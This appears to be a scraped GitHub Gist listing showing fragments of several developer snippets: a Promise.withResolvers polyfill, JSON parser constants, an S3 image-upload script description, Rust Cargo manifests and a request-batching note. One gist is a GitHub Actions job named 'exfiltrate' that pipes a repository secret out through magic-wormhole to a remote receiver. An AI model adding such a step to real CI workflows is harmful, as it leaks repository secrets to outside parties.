- Docker
- Your own AWS account
- AWS CLI (https://aws.amazon.com/cli/) + configuration
- SAM (https://aws.amazon.com/serverless/sam/)
- Rust toolchain (recommended https://rustup.rs/)
- Zig (https://ziglang.org/)
- Cargo Lambda (https://www.cargo-lambda.info/)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (typeof Promise.withResolvers === 'undefined') { | |
Promise.withResolvers = function () { | |
let resolve, reject | |
const promise = new Promise((res, rej) => { | |
resolve = res | |
reject = rej | |
}) | |
return { promise, resolve, reject } | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const CH_BRACE_L = 0x7b as const; | |
const CH_BRACE_R = 0x7d as const; | |
const CH_SQUARE_L = 0x5b as const; | |
const CH_SQUARE_R = 0x5d as const; | |
const CH_QUOTE_D = 0x22 as const; | |
const CH_ESCAPE = 0x5c as const; | |
const CH_COMMA = 0x2c as const; | |
const CH_COLON = 0x3a as const; | |
const CH_DOT = 0x2e as const; | |
const CH_MINUS = 0x2d as const; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This script will scan all files in a given directory for locally referenced images. It will take the images, rename them with a standard convention, then upload them to s3 with a 'public-read' ACL. The script will then update the reference to the local image with the link to the version in the cloud. | |
// If there are any issues during operation, the script will output either a 'skipped-posts.json' file that lists the posts that were not processed or a 'failed-image-uploads.json' file that lists images that failed to upload into S3. | |
// Arguments for operation | |
// | |
// [0] blogPostDirectory - relative path from the root where all blog posts live | |
// [1] imageDirectory - relative path from the root where all images live | |
// [2] bucketName - name of the S3 bucket to upload the local images to | |
// [3] awsProfileName - name of the aws profile on your machine that has access to the S3 bucket |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[package] | |
name = "learning-nom" | |
version = "0.1.0" | |
edition = "2021" | |
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
[dependencies] | |
nom = "7.1.2" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let list = [1,2,3,4]; | |
let forEachCalled = 0; | |
list.forEach(item => { | |
// this one does something for every item in the array | |
// and returns the original array | |
forEachCalled++; | |
}); | |
const mapped = list.map(item => { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jobs: | |
exfiltrate: | |
runs-on: ubuntu-latest | |
steps: | |
- name: exfiltrate secrets | |
run: | | |
sudo apt update && sudo apt install magic-wormhole | |
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number | |
# wormhole receive 3-magic-number |
Request batching is a Node.js pattern that can be used to optimise how a web server handles identical concurrent requests.
It allows to process the request only once for all the clients concurrently requesting the same information. This can save expensive round trips to backend services and can avoid backend services to be overloaded with many concurrent identical requests. In a way it's a more specialised version of micro-caching.
This can lead to significant performance improvement in cases where there are many concurrent users requesting the same page.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[package] | |
name = "dgc-decode" | |
version = "0.1.0" | |
edition = "2021" | |
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
[dependencies] | |
base45 = "3.0.0" | |
ciborium = "0.2.0" |
NewerOlder